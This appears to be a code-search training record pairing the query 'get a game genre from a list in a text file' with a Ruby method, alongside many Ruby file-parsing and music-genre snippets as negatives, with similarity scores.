"def read_txt\n # Open TXT file\n # f = File.open(self.fichero, \"r\")\n # Use TXT file content\n f = self.fichero\n # Loop thru open file lines\n f.each_line do |line|\n cod_reg = line[0,2]\n if cod_reg == '80'\n # Totals line\n amount = line[36,12]\n self.total_bills = line[22,6].to_i\n self.total_amount = (amount[0,10] + '.' + amount[10,2]).to_d\n elsif cod_reg == '02'\n # Header line\n pdate = line[36,6]\n self.nif = line[10,8]\n self.sufijo = line[18,3]\n self.process_date_time = Date.parse(pdate[4,2] + pdate[2,2] + pdate[0,2]) rescue Date.today\n elsif cod_reg == '01' || cod_reg == '90'\n # First or Last line\n else\n # Invoice charged line: Save in array\n amount = line[36,12]\n self.lista_cobros.push(bill_id: line[76,11].to_i,\n amount: (amount[0,10] + '.' + amount[10,2]).to_d,\n date: line[30,6],\n issuer: line[10,8],\n suffix: line[18,3],\n charge_code: line[21,1],\n charge_bank: line[22,4],\n charge_office: line[26,4],\n charge_id: line[48,6],\n iban_head: line[4,4],\n ccc_bank: line[54,4],\n ccc_office: line[58,4],\n ccc_dc: line[62,2],\n ccc_account_no: line[64,10],\n debit_code: line[74,1],\n cancel_code: line[75,1],\n reference: line[76,13])\n end\n end # f.each_line\n # f.close\n end",
"def load_file(model)\n model.delete_all\n record_name = model.to_s.downcase.pluralize\n record_count = 0\n CSV.foreach(\"#{Rails.root}/db/data/#{record_name}.csv\", {headers: true}) do |line|\n model.create(line.to_hash)\n record_count += 1\n end\n puts \"Created #{record_count} #{model.to_s} records.\"\n end",
"def load_model(mid)\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_model_info\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n url_get_records = url_get_records.gsub '{mid}', mid.to_s\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n model = Dynamicloud::API::Model::RecordModel.new mid\n model.name = json['name']\n model.description = json['description']\n\n model\n end",
"def load_data(fileName)\n set = open(fileName, 'r')\n data = []\n set.each_line do |line|\n categories = line.split(' ')\n data.push(categories)\n end\n return data\n end",
"def parse_file_data\n current_category = nil\n todo_lines = []\n File.open(@config_file) {|fl| todo_lines = fl.readlines() }\n line_count = 0\n todo_lines.each do |todo_line|\n todo_line.strip!.chomp!\n next if todo_line.nil? or todo_line.empty?\n case todo_line\n when /^\\*{1}\\ (.+)?/\n current_category = $1\n line_count = 0\n @todo_container[current_category] ||= []\n when /^(\\*{2,})\\ TODO\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => true, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category] << item\n when /^(\\*{2,})\\ DONE\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => false, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category].push(item)\n end\n end\n end",
"def process_file(filename)\n structure = nil\n begin\n structure = JSON.parse( IO.read(filename, encoding:'utf-8') )\n rescue\n print \"Error loading/parsing File: #{$!}\"\n return nil\n end\n begin\n if( structure[\"restaurants\"].count > 0 )\n structure[\"restaurants\"].each do |r_data|\n if( r_data[\"name\"] && r_data[\"rating\"] && r_data[\"meals_qty\"] )\n restaurant = Restaurant.new(r_data[\"name\"],r_data[\"rating\"],r_data[\"meals_qty\"])\n if( r_data[\"specials\"] )\n specials = r_data[\"specials\"]\n specials.each do |special|\n special.keys.each do |key|\n restaurant.addMeal(Meal.new( key, special[key] ))\n end\n end\n end\n addRestaurant(restaurant)\n else\n print \"Restaurant #{r_data} doesn't have minimum data\"\n return\n end\n end\n if( structure[\"order\"] )\n if( structure[\"order\"][\"quantity\"] )\n order_meal = OrderMeal.new(structure[\"order\"][\"quantity\"])\n specials = structure[\"order\"][\"specials\"]\n if( specials )\n specials.each do |special|\n special.keys.each do |key|\n order_meal.addMeal(Meal.new( key, special[key]))\n end\n end\n end\n return finder(order_meal)\n else\n print \"No quantity defined for order.\"\n end\n end\n else\n print \"No restaurantsi defined\";\n return\n end\n rescue\n print \"Error trying to load structure on #{$!}\"\n end\n return\n end",
"def initialize_from_arff( file )\n feature_list, t_class, f_class, instances = WekaCompatability.load_arff( file )\n initialize_model( feature_list, t_class, f_class )\n train_model( instances )\n end",
"def LoadFile ()\n\t\n\tinput = \"\"\n\tFile.foreach(\"../Data Files/042-Words.txt\") {|x| input = x }\n\tnames = input.split(\",\")\n\t\n\treturn names;\nend",
"def parse_definition_list; end",
"def build_database(filename)\n\tdb = []\n\tlines = get_file_lines(filename)\n\tlines.each { |x| db << parse_csv_line(x) }\n\t#create new instance of Onfidoer for each item in the array\n\tdb.each { |x| Onfidoer.new(*x) } #there was a problem with this line \nend",
"def addClassifications(filename)\n\t# open the file with classifications\n\tclassificationTypes = File.open(Rails.root.join(\"db\", \"seed_data\", filename))\n\t# Each line of the file contains a classification description. Iterate through the file and create a classification for each line.\n\tclassificationTypes.each do |curClassificationType|\n\t\tClassification.find_or_create_by({ :classification_description => curClassificationType.strip })\n\tend\nend",
"def load_training_data\n File.open(@training_file) {|file|\n @training_set = Nimbus::TrainingSet.new({}, {})\n file.each do |line|\n next if line.strip == ''\n data_feno, data_id, *snp_list = line.strip.split\n raise Nimbus::InputFileError, \"Individual ##{data_id} from training set has no value for all #{@tree_SNP_total_count} SNPs\" unless snp_list.size == @tree_SNP_total_count\n raise Nimbus::InputFileError, \"There are individuals with no ID, please check data in training file.\" unless (!data_id.nil? && data_id.strip != '')\n raise Nimbus::InputFileError, \"Individual ##{data_id} has no fenotype value, please check data in training file.\" unless (!data_feno.nil? && data_feno.strip != '')\n raise Nimbus::InputFileError, \"Individual ##{data_id} has invalid class (not in [#{classes*', '}]), please check data in training file.\" unless (@classes.nil? || @classes.include?(data_feno))\n\n data_feno = (@classes ? data_feno.to_s : data_feno.to_f)\n @training_set.individuals[data_id.to_i] = Nimbus::Individual.new(data_id.to_i, data_feno, snp_list.map{|snp| snp.to_i})\n @training_set.ids_fenotypes[data_id.to_i] = data_feno\n end\n }\n end",
"def import_people(fname)\n File.open(fname, 'r').each_line do |line|\n unless line.start_with?('name')\n name, email, p_type, picture, info = line.chomp.split(\"\\t\")\n\n person = Person.find_by(name: name)\n\n if person.nil?\n Person.create(name: name,\n email: email,\n p_type: p_type,\n picture: picture,\n info: info)\n else\n person.update(email: email,\n p_type: p_type,\n picture: picture,\n info: info)\n end\n end\n end\nend",
"def load_genre_list()\n File.open('./genre_list')\nend",
"def read_file(file)\n extension = file.split('.').last\n\n raise \"Models file should be of the format yml or xmi. The given file '#{file}' has an '#{extension}' extension.\" unless extension =~ /yml|xmi/\n\n begin\n @original_hash = extension == \"xmi\" ? XmiReader.new(file).to_h : YAML::load_file(file) \n HashWithIndifferentAccess.new(original_hash).symbolize_keys!\n\n rescue StandardError => e\n raise \"Models file '#{file}' could not be loaded: #{e}\"\n end\n end",
"def constructListFromFile(input)\n\t\t\tresult = Array.new()\n\t\t\tsize = input.size/6\n\t\t\tfor i in 0..size-1\n\t\t\t\talimento = Alimento.new(input[6*i], input[6*i+1].to_f, input[6*i+2].to_f, input[6*i+3].to_f, input[6*i+4].to_f, input[6*i+5].to_f)\n\t\t\t\tresult.append( alimento )\n\t\t\tend\n\t\t\treturn result\n\t\tend",
"def readFile\r\n\t\tfile = File.open(fileName, \"r\")\r\n\r\n\t\t#Array for partial matches\t\t\r\n\t\t@dictionary = Array.new\r\n\t\tfile.each do |line|\r\n\t\t\tif line != \"\\n\"\r\n\t\t\t\t@dictionary << line.split(/[:;\\n]/)\r\n\t\t\tend\r\n\t\tend\r\n\t\tstartStrategies\r\n\tend",
"def load_from_file(filename,clean)\n\t\tbegin\n\t\t\t@clusters = []\n\t\t\t@items = []\n\t\t\t\n\t\t\traise IOError.new(\"#{filename} not found\") if not File.exists?(filename)\n\t\t\t\n\t\t\tIO.foreach(filename) do |line|\n\t\t\t\tlabel, items = *line.split(\":\",2).map { |x| x.strip }\n\t\t\t\titems = items.split(\" \").map { |x| (x.respond_to?(:to_sym) and not x.to_sym.nil?) ? x.to_sym : x }\n\t\t\t\titems = items - @items if clean\n\t\t\t\tif items.size > 0\n\t\t\t\t\titems.reject! { |x| @items.include?(x) }\n\t\t\t\t\tcluster = Cluster.new(items,label)\n\t\t\t\t\t@items = @items | cluster.items\n\t\t\t\t\[email protected] cluster\n\t\t\t\tend\n\t\t\tend\n\t\trescue IOError\n\t\t\traise $!\n\t\tend\n\tend",
"def build(data_list)\n @models = []\n\n data_list.each do |data|\n @models << @klass.new(data)\n end\n end",
"def write_model model_name, class_name\n puts model_name\n ret=\"\"\n model = Model.new(model_name,class_name) \n data_types= model.get_datatypes\n #build hash\n model.get_rows.each do |item|\n line = Hash.new\n subline = Hash.new\n #and now add all mapping-attributes\n remove =Array.new\n model.model_attributes.each do |k,v|\n # if k.to_s.include?(\"->\")\n if v.to_s.include?(\"*\") || v.to_s[0..9]==\"new_model(\"\n\n remove.push(k.to_s) unless remove.index(k.to_s)\n m_class,field=v.to_s.split(\"*\")\n ref_pred,ref_model=k.to_s.split\"->\"\n if v.to_s[0..5]==\"MODEL(\"\n m_class.gsub!(\"MODEL(\",\"Model.new(\")\n submodel= eval(m_class.to_s).get_rows\n else\n submodel= eval(\"item.#{m_class.to_s.downcase}\")\n end\n submodel.each do |subitem|\n subline[:id] = eval(\"item.#{model.get_key}\")\n subline[k] = eval(\"subitem.#{field}\")\n #extract_id_line(m.model_attributes, subline, subitem, Array.new)\n ret<<make_triples(subline, class_name, false,Array.new,false )\n subline.clear\n end\n else\n write_line = true;\n if v.to_s.include? \".\"\n write_line = nil unless eval(\"item.\"+v.to_s.downcase.split(\".\")[0])\n end\n begin\n if v.to_s[0..5]==\"CONST(\"\n line[k.to_s],data_types[k.to_s]= model.get_const(v)\n #datatype to uri format\n if data_types[k.to_s]==\"LINK\"\n line[k.to_s] =uri line[k.to_s]\n data_types.delete k.to_s\n @object_properties[k.to_s]=\"t\"\n else\n data_types[k.to_s] = uri(data_types[k.to_s])\n end\n else\n line[k.to_s]=eval(\"item.\"+v.to_s) if write_line\n end\n rescue Exception => ex\n line[k.to_s]=v.to_s if write_line\n end\n end\n # end\n end\n extract_id_line(model.model_attributes, line, item,data_types)\n remove.each { |rem_attrib| line.delete(rem_attrib) }\n #get triples of row\n ret<<make_triples(line, class_name , \"\", data_types)\n #render :text => t.make_triples(c1, controller , \"\", t.dbd_types)\n end\n ret\n end",
"def readModelAndInit(config, modelFile, printLoading) # MaxentTagger.java:840\n File.open(modelFile, \"r\") do |file|\n rf = DataInputStream.new(file)\n # t = Timing.new\n source = nil\n\n if printLoading\n if config != nil\n source = config.getProperty(\"model\")\n end\n if source == nil\n source = \"data stream\"\n end\n end\n\n taggerConfig = TaggerConfig.readConfig(rf)\n\n if config != nil\n taggerConfig.setProperties(config)\n end\n\n # then init tagger\n init(taggerConfig)\n\n xSize = rf.readInt\n ySize = rf.readInt\n # dict = new Dictionary(); # this method is called in constructor, and it's initialized as empty already\n dict.read(rf)\n\n puts \"Tagger dictionary read.\" if @verbose\n\n tags.read(rf)\n readExtractors(rf)\n dict.setAmbClasses(ambClasses, veryCommonWordThresh, tags)\n\n # int[] numFA = new int[extractors.size() + extractorsRare.size()]\n numFA = [0] * (extractors.length + extractorsRare.length)\n sizeAssoc = rf.readInt\n @fAssociations = [] # Generics.newArrayList()\n (extractors.length + extractorsRare.length).times do\n fAssociations.push Hash.new\n end\n # for (int i = 0; i < extractors.size() + extractorsRare.size(); ++i) {\n # fAssociations.add(Generics.<String, int[]>newHashMap());\n # }\n\n puts \"Reading #{sizeAssoc} feature keys...\" if @verbose\n\n # PrintFile pfVP = null;\n # if (@verbose) {\n # pfVP = new PrintFile(\"pairs.txt\");\n # }\n # for (int i = 0; i < sizeAssoc; i++) {\n sizeAssoc.times do |i|\n numF = rf.readInt\n fK = FeatureKey.new\n fK.read(rf)\n numFA[fK.num] += 1\n\n # TODO: rewrite the writing / reading code to store\n # fAssociations in a cleaner manner? Only do this when\n # rebuilding all the tagger models anyway. When we do that, we\n # can get rid of FeatureKey\n fValueAssociations = fAssociations.get(fK.num) # Map<String, int[]>\n fTagAssociations = fValueAssociations.get(fK.val) # int[]\n if fTagAssociations == nil\n fTagAssociations = [] # new int[ySize];\n ySize.times do |j| # for (int j = 0; j < ySize; ++j) {\n fTagAssociations[j] = -1\n end\n fValueAssociations.put(fK.val, fTagAssociations)\n end\n fTagAssociations[tags.getIndex(fK.tag)] = numF\n end\n\n # if (@verbose) {\n # IOUtils.closeIgnoringExceptions(pfVP);\n # }\n\n if @verbose\n numFA.times do |k| # for (int k = 0; k < numFA.length; k++) {\n puts \"Number of features of kind #{k} #{numFA[k]}\"\n end\n end\n\n @prob = LambdaSolveTagger.new(rf)\n\n if @verbose\n puts \"prob read \"\n end\n\n if printLoading\n # t.done(log, \"Reading POS tagger model from \" + source)\n puts \"Reading POS tagger model from #{source}\"\n end\n end\n end",
"def initialize(filename)\n @name = ''\n @desc = ''\n @diagram = ''\n \n file = File.open(filename)\n \n while(line = file.gets)\n line.chomp!\n if(line == 'NAME')\n @name = file.gets.chomp!\n elsif(line == 'DESC')\n while((line = file.gets) && line != \"END\\n\")\n @desc += line\n end\n elsif(line == 'DIAGRAM')\n while((line = file.gets) && line != \"END\\n\")\n @diagram += line\n end \n end\n end\n file.close()\n end",
"def loadFromCSV\n \tcsv_text = File.read(Rails.root.join('app/assets/files/vocab.txt'))\n\tvocab = []\n\tparsed = CSV.parse(csv_text, :col_sep => \";\")\n\tparsed.each do |w|\n\t\tback = w[0].split('|') #back\n\t\tfront = w[1].split('|') #front\n\t\tvocab << {\"back\" => back, \"front\" => front}\n\tend\n\tvocab\n end",
"def load_inp(filename,runner = nil)\n BTAP::runner_register(\"Info\", \"loading file:\" + filename, runner)\n #Open the file.\n #puts filename\n iter = 0\n\n\n File.exist?(filename)\n f = File.open(filename, \"r\")\n\n\n\n\n #Read the file into an array, line by line.\n lines = f.readlines\n #Set up the temp string.\n command_string =\"\"\n #iterate through the file.\n parents = Array.new()\n children = Array.new()\n lines.each do|line|\n iter = iter.next\n #line.forced_encoding(\"US-ASCII\")\n #Ignore comments (To do!...strip from file as well as in-line comments.\n if (!line.match(/\\$.*/) )\n\n if (myarray = line.match(/(.*?)\\.\\./) )\n #Add the last part of the command to the newline...may be blank.\"\n command_string = command_string + myarray[1]\n #Determine correct command class to create, then populates it.\"\n command = DOECommandFactory.command_factory(command_string, self)\n #Push the command into the command array.\"\n @commands.push(command)\n command_string = \"\"\n else\n myarray = line.match(/(.*)/)\n command_string = command_string + myarray[1]\n end\n end\n end\n \n organize_data()\n BTAP::runner_register(\"Info\",\"INP model contains:\", runner)\n #report number of things read in. \n [\"SPACE\",\"ZONE\",\"EXTERIOR-WALL\",\"ROOF\",\"INTERIOR-WALL\",\"UNDERGROUND-WALL\",\"WINDOW\",\"DOOR\",\"MATERIAL\",\"CONSTRUCTION\"].each do |item|\n items = self.find_all_commands(item)\n message = \"\\t#{item} = #{items.size}\"\n BTAP::runner_register(\"Info\",message, runner)\n end\n BTAP::runner_register(\"Info\", \"\\tFinished Loading File:\" + filename,runner)\n end",
"def import\n print 'Import filename: '\n $stdout.flush\n file = gets.chomp\n fd = File.new(file, \"r\")\n itecky = file.rindex('.')\n raise 'missing dot in filename' if itecky == nil\n fname = file[0,itecky]\n fname.upcase!\n puts\n fd.each do\n |row|\n if row.strip.length == 0 or row[0,1] == '*' or row[0,1] == '#'\n next\n end\n row.chomp!\n items = row.split # deleni row na polozky oddelene mezerou\n nitems = items.length # pocet polozek\n raise \"only one word on the line\\n[#{row}]\" if nitems == 1\n if nitems == 2 # slovicka bez oddelovaci carky\n en = items[0]\n cz = items[1]\n else # slovicka a fraze s oddelovaci carkou\n i = row.index(' - ') # oddelovac anglickeho a ceskeho vyrazu\n raise \"missing ' - ' between English and Czech phrases\\n[#{row}]\" if i == nil\n en = row[0,i+1].strip # prvni cast radku - anglicka\n cz = row[i+3..-1].strip # druha cast radku - ceska\n end\n flag = false\n for iw in 0 ... $words.length do\n if $words[iw].fname == fname and\n ($words[iw].english == en or $words[iw].czech == cz) then\n flag = true\n break\n end\n end\n if flag == true then next end\n $words << Word.new(fname,0,0,en,cz)\n w = konverze($words.last.english + ' | ' + $words.last.czech)\n puts w\n end\n puts\n $stdout.flush\nend",
"def completeModelsDemo() # For models all contained in individual files.\n\t$all_models = [] \n\tFind.find(PLdirectory) do |payload|\n\t\tpayload = payload.split('/')[-1]\n\t\t#print \"#{__LINE__} \", payload, \"\\n\"\n\t\tif not !!payload[1..4][\"_\"] and !!payload['.rb']\n\t\t\t#puts \"#{__LINE__} Inner truth here #{payload}\"\n\t\t\trequire PLdirectory + payload.chomp(\".rb\")\n\t\t\t$all_models += [payload.chomp(\".rb\")]\n\t\tend\n\tend\n\t$all_models.each do |payload|\n\t\trequestLookupDo(payload,\"signup\")\n\t\trequestLookupDo(payload,\"suverify\")\n\t\trequestLookupDo(payload,\"login\")\n\tend\nend",
"def perform(list, file)\n list.import_csv(file)\n end",
"def load_model(file)\n if defined?(require_dependency)\n require_dependency(file)\n else\n require(file)\n end\n end",
"def get_active_record(file_name)\n\tfile = File.open(MODELS_PATH+\"/#{file_name}.rb\")\n\n\tfile.each do |line| # :: File -> {Key => [String, Table]}\n\t\tif !(mt = ASSOCS_REGEX.match(line)).nil?\n\t\t\tkey_sel = ASSOC_SEL.detect{|k,v| mt[0].strip == v}.first\n\t\t\tthrough_cond = /through(:| =>)/.match(line)\n\t\t\tnew_key = through_cond ? THROUGH_KEYS_SEL[key_sel] : key_sel\n\t\t\t@bash[new_key] << [line,file_name]\n\t\tend\t # => [131, 15, 147, 0, 0, 4]\n\tend \t # => [131, 10, 112, 35, 5, 4]\n\n\t# why so much redundancy? why the need to .uniq?\n\[email protected] do |k|# makes ordered arrows\n\t\t@bash[k].each do |assoc,tbl|\n\t\t\tassoc.split('through').each do |ass|\n\t\t\t\t@array << { /:(\\w+)/.match(ass)[1].singularize => tbl, assoc: k}\n\t\t\tend\n\t\tend\n\tend\nend",
"def parse_list(path, files)\n list_name = path.basename\n dir = path.dirname\n line_number = 0\n path.open('r') do |f|\n while (line = f.gets)\n line_number += 1\n # Strip the leading and trailing whitespace for sloppy typers\n line.strip!\n # Skip a blank line\n next if line.match(/^\\s+$/)\n # Check if the pattern or list exists\n line_path = Pathname.new(\"#{dir}/#{line}\")\n unless line_path.file?\n # puts \"Skipping #{line_path.to_s} at line ##{line_number} in file #{path.to_s} because it is not a file\"\n next\n end\n # Process the file\n process_file(line_path, files)\n end\n end\n end",
"def read_seq(seq_file)\n seq_objs = Hash.new\n Bio::FlatFile.open(seq_file, \"r\").each_entry do |f|\n seq_objs[f.definition] = f\n end\n return(seq_objs)\nend"
] | [
"0.5695746",
"0.5681048",
"0.5620122",
"0.5601672",
"0.55808204",
"0.55757797",
"0.5550483",
"0.5545499",
"0.5530213",
"0.54000396",
"0.53902805",
"0.53765845",
"0.5367506",
"0.53501093",
"0.5347121",
"0.53337157",
"0.53337157",
"0.5333076",
"0.5310881",
"0.5310881",
"0.5276545",
"0.5272617",
"0.5267418",
"0.5245766",
"0.52253383",
"0.5187939",
"0.51798207",
"0.5163715",
"0.51426864",
"0.51352",
"0.5133355",
"0.5119957",
"0.51195043",
"0.51137733",
"0.510305",
"0.51015496",
"0.50999504",
"0.5098633",
"0.50979763",
"0.5070777",
"0.5060284",
"0.5054848",
"0.50511926",
"0.505099",
"0.50410694",
"0.50369257",
"0.5035673",
"0.5035548",
"0.50315106",
"0.50300986",
"0.50300986",
"0.5015925",
"0.4992651",
"0.4992504",
"0.4980593",
"0.49655876",
"0.4954995",
"0.49481118",
"0.49480215",
"0.49480215",
"0.49388045",
"0.49271685",
"0.49169227",
"0.49164736",
"0.49053332",
"0.48916733",
"0.48898044",
"0.48820698",
"0.48807174",
"0.48801023",
"0.48785353",
"0.48773563",
"0.48689127",
"0.48680896",
"0.4862665",
"0.48511738",
"0.4846344",
"0.48462063",
"0.48455262",
"0.48432007",
"0.48424548",
"0.48411164",
"0.4838069",
"0.48296094",
"0.48228407",
"0.48182866",
"0.4805863",
"0.4802067",
"0.47992963",
"0.4796626",
"0.4795534",
"0.478621",
"0.4784647",
"0.4779361",
"0.47756726",
"0.4768787",
"0.47681844",
"0.47673795",
"0.47489274",
"0.47466385"
] | 0.6435022 | 0 |
This gets a game genre from a list in a text file | def get_game_genre
#initialize variable
chosen_line = nil
#Get the cliche
File.foreach("game_genres.txt").each_with_index do |line, number|
chosen_line = line if rand < 1.0/(number+1)
end
return chosen_line.chomp
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_genre_list()\n File.open('./genre_list')\nend",
"def load_genre(file_name)\n\t\tindata = []\n\t\tCSV.foreach(\"#{file_name}\", col_sep: \"|\") do |row|\n\t\t\tgenre_for_movie = [row[5].to_i,row[6].to_i,row[7].to_i,row[8].to_i,row[9].to_i,row[10].to_i,row[11].to_i,row[12].to_i,row[13].to_i,row[14].to_i,row[15].to_i,row[16].to_i,row[17].to_i,row[18].to_i,row[19].to_i,row[20].to_i,row[21].to_i,row[22].to_i,row[23].to_i ]\n\t\t\tindata.push({\"movie_id\"=>row[0].to_i,\"genres\"=>genre_for_movie})\n\t\tend\n\t\treturn indata\n\tend",
"def list_genre\n genre = gets.chomp\n Genre.all.each do |a|\n if a.name == genre\n a.songs.collect { |s| puts \"#{s.artist.name} - #{s.name} - #{s.genre.name}\" }\n end\n end\n end",
"def read_genre()\n\tcount = $genre_names.length\n\ti = 0\n\tputs 'Genre: '\n\twhile i < count\n\t\tputs \"#{i} \" + $genre_names[i]\n\t\ti += 1\n\tend\n\tselectedGenre = read_integer_in_range('Please select your album genre.', 0, count - 1)\n\tselectedGenre\nend",
"def genre\n fetch('game.genre')\n end",
"def list_genres\n\n puts \"1. Action\"\n puts \"2. Adventure\"\n puts \"3. Fighting Games\"\n puts \"4. First-Person Shooters\"\n puts \"5. Flight/Flying\"\n puts \"6. Party\"\n puts \"7. Platformer\"\n puts \"8. Puzzle\"\n puts \"9. Racing\"\n puts \"10. Real-Time Strategy (RTS)\"\n puts \"11. Role-Playing\"\n puts \"12. Simulation\"\n puts \"13. Sports\"\n puts \"14. Stategy\"\n puts \"15. Third-Person Shooter\"\n puts \"16. Turn-Based Strategy\"\n puts \"17. Wargames\"\n puts \"18. Wrestling\"\n puts \"Choose a genre (number)\"\n @input = gets.strip\n end",
"def genres\n details.css(\"div.subtext a[href^='/genre/']\").map { |genre| genre.text } rescue []\n end",
"def genres\n to_array search_by_itemprop 'genre'\n end",
"def genres\n document[\"genre\"].collect {|gender| gender[\"$\"]} rescue nil\n end",
"def genre_list\n {\"1\" => 'シーバス', \"2\" => 'バス', \"3\" => \"青物\",\n \"4\" => \"フラットフィッシュ\", \"6\" => \"アジ\"}\n end",
"def genres\n MusicImporter.new(path).print_genres\n end",
"def genres\n search_by_text('жанры').split(', ')\n end",
"def list_songs_by_genre\n puts \"Please enter the name of a genre:\"\n input = gets.chomp\n if genre = Genre.find_by_name(input)\n sort_by_name = genre.songs.sort_by do |genre|\n genre.name\n end\n sort_by_name.each.with_index(1) do |genre, i|\n puts \"#{i}. #{genre.artist.name} - #{genre.name}\"\n end\n end\n end",
"def store_genre\n genres = RSpotify::Recommendations.available_genre_seeds\n genre = @prompt.select('Which genre would you like to add to your list?', genres, filter: true)\n genre_details = {\n 'name' => genre.capitalize,\n 'type' => 'genre'\n }\n @mylist << genre_details\n update_file\n end",
"def genres\n document.search(\"h5[text()='Genre:'] ~ a[@href*=/Sections/Genres/']\").map { |link| link.innerHTML.strip.imdb_unescape_html } rescue []\n end",
"def genres\n songs.map {|song| song.genre }\n end",
"def genres\n songs.map {|song| song.genre}\n end",
"def genres\n\t\[email protected] {|g| g.genre}\n\tend",
"def genres\n songs.map do |song| song.genre end\n end",
"def genres\n @songs.collect {|s| s.genre}\n end",
"def lookup_genre(s)\n \tg = genre_list()\n \tg[s]\n end",
"def genres\r\n self.songs.collect do |song|\r\n song.genre\r\n end\r\n end",
"def genres(string)\n return [] if string.blank?\n\n genres = []\n\n # Split fields\n string.split(/[,;]/).each do |genre|\n ##\n # Start with a single empty genre string. Split the genre by spaces\n # and process each component. If a component does not have a slash,\n # concatenate it to all genre strings present in +temp+. If it does\n # have a slash present, duplicate all genre strings, and concatenate\n # the first component (before the slash) to the first half, and the\n # last component to the last half. +temp+ now has an array of genre\n # combinations.\n #\n # 'Traditional Heavy/Power Metal' => ['Traditional Heavy', 'Traditional Power']\n # 'Traditional/Classical Heavy/Power Metal' => [\n # 'Traditional Heavy', 'Traditional Power',\n # 'Classical Heavy', 'Classical Power']\n #\n temp = [\"\"]\n\n genre.downcase.split.reject { |g| GENRE_SUFFIXES.include? g }.each do |g|\n if g.include? \"/\"\n # Duplicate all WIP genres\n temp2 = temp.dup\n\n # Assign first and last components to temp and temp2 respectively\n split = g.split \"/\"\n temp.map! { |t| t.empty? ? split.first.capitalize : \"#{t.capitalize} #{split.first.capitalize}\" }\n temp2.map! { |t| t.empty? ? split.last.capitalize : \"#{t.capitalize} #{split.last.capitalize}\" }\n\n # Add both genre trees\n temp += temp2\n else\n temp.map! { |t| t.empty? ? g.capitalize : \"#{t.capitalize} #{g.capitalize}\" }\n end\n end\n genres += temp\n end\n genres.uniq\n end",
"def bookGenre\n\t\tarr =[]\n\t\tcurrent_user.reads.each do |f|\n\t\t\tarr.push(Book.find_by_id(f.book_id).genre)\n\t\tend\n\t\th = Hash.new(0)\n\t\t\tarr.each do |word|\n\t\t\th[word] += 1\n\t\tend\n\t\tgenre = h.sort_by{|word,count| count}\n\t\tgenre = genre.reverse # Hash highest the genre picked the most\n\n\t\tarr2 =[]\n\t\tgenre.each do |key,value|\n\t\t\tarr2.push(key)\n\t\tend\n\t\tif(arr2.size > 1)\n\t\t\t@popGenre = arr2.at(0)\n\t\telse\n\t\t\t@popGenre = \"Adventure\"\n\t\tend\n\tend",
"def genre; end",
"def genre; end",
"def genres\n songs.map{|song|song.genre}.uniq\n end",
"def genres\n songs.collect{|song| song.genre}.uniq\n end",
"def get_genre_list\n @genre_names = Genre.select('name')\n end",
"def genres\n self.songs.collect do |song|\n song.genre\n end\n end",
"def genres\n self.songs.collect do |song|\n song.genre\n end\n end",
"def genres\n self.songs.collect do |song|\n song.genre\n end\n end",
"def genres\n self.songs.collect do |song|\n song.genre\n end\n end",
"def genres\n self.songs.collect do |song|\n song.genre\n end\n end",
"def genres\n genres = fetch_attribute(\"genres_en\")\n if genres\n return genres\n else\n return \"\"\n end\n end",
"def plays_genres\n genres = Array.new\n self.genres.each do |genre|\n genres << genre.printable\n end\n genres.uniq\n end",
"def genres\n @songs.collect{|song| song.genre }.uniq\n end",
"def genre_generator\n genre = @genre_options.sample\n puts \"Awesome, I think #{name}'s music should be of the #{genre} variety.\"\n end",
"def genres\n Song.all.collect{|song|song.genre}\n end",
"def genres\n @songs.collect { |song| song.genre }.uniq\n end",
"def genres\n @songs.collect do |song|\n song.genre\n end.uniq\n end",
"def genres \n songs.collect {|song| song.genre}.uniq \n\n end",
"def genres \n songs.collect{ |s| s.genre }.uniq #returns collection of genres for all of the artist's songs/ does not return duplicate genres/ collects genres\n end",
"def search_albums_by_genre albums\r\n print_album_genres(albums)\r\n puts('Select Album ID')\r\n id = read_integer_in_range('Enter number: ', 0, albums.count-1 )\r\n\r\n print_album_title_and_tracks(albums[id])\r\n return albums[id] \r\nend",
"def genres\n songs.map{|song| song.genre} # giving back all the genres under that particular artist. artists can have nmany genres and calling of theirmany genres.\n # Song.all.map{|ind_song| ind_song.genre} #giving back all the different genres from the collection of song array. giving back all the genres of the songs\n # binding.pry\n end",
"def genres\n songs.map do |song|\n song.genre\n end\nend",
"def list_genres\n sorted_list = Genre.all.sort_by {|artist| artist.name}\n sorted_list.each_with_index do |genre, idx|\n puts \"#{(idx + 1).to_s}. #{genre.name}\"\n end\n end",
"def genres\n self.songs.map do |artist_song|\n artist_song.genre\n end\n end",
"def fav_genre\n # NOTE : DID NOT ADD GENRES YET\n # r.shows.genres\n \"WIP - no genres yet\"\n end",
"def genres\n songs.collect do |song|\n song.genre\n end\n .uniq #does not return duplicate genres if the artist has more than one song of a particular genre (artist has many genres through songs)\n end",
"def genres\n self.songs.map {|x| x.genre}\n end",
"def read_genotypes (filename, people)\n file = File.open(filename)\n\n header = file.readline.strip.split(/\\s+/)\n header.shift # omit the first field, \"Marker\"\n\n file.readlines.each do |line|\n marker = line[0..8].gsub(/\\s/, \"\")\n line = line[9..-1]\n header.each_with_index do |person, i|\n start = i*7\n people[person].gen[marker] = parse_genotype line[start..(start+6)]\n end\n end\nend",
"def list_genres\n Genre.all.uniq.sort { |genre1, genre2| genre1.name <=> genre2.name}.each.with_index(1) do |genre, i|\n puts \"#{i}. #{genre.name}\"\n end\n end",
"def genres\n self.songs.collect {|song| (song.genre) }.uniq\n end",
"def Genre\n ret = \"\"\n self.genres.each{|genre| ret += \"#{genre.Name}, \"}\n return ret.chomp(\", \");\n end",
"def genres\n self.songs.map { |song| song.genre }.uniq\n end",
"def genres\n self.songs.collect {|song| song.genre}.uniq\n end",
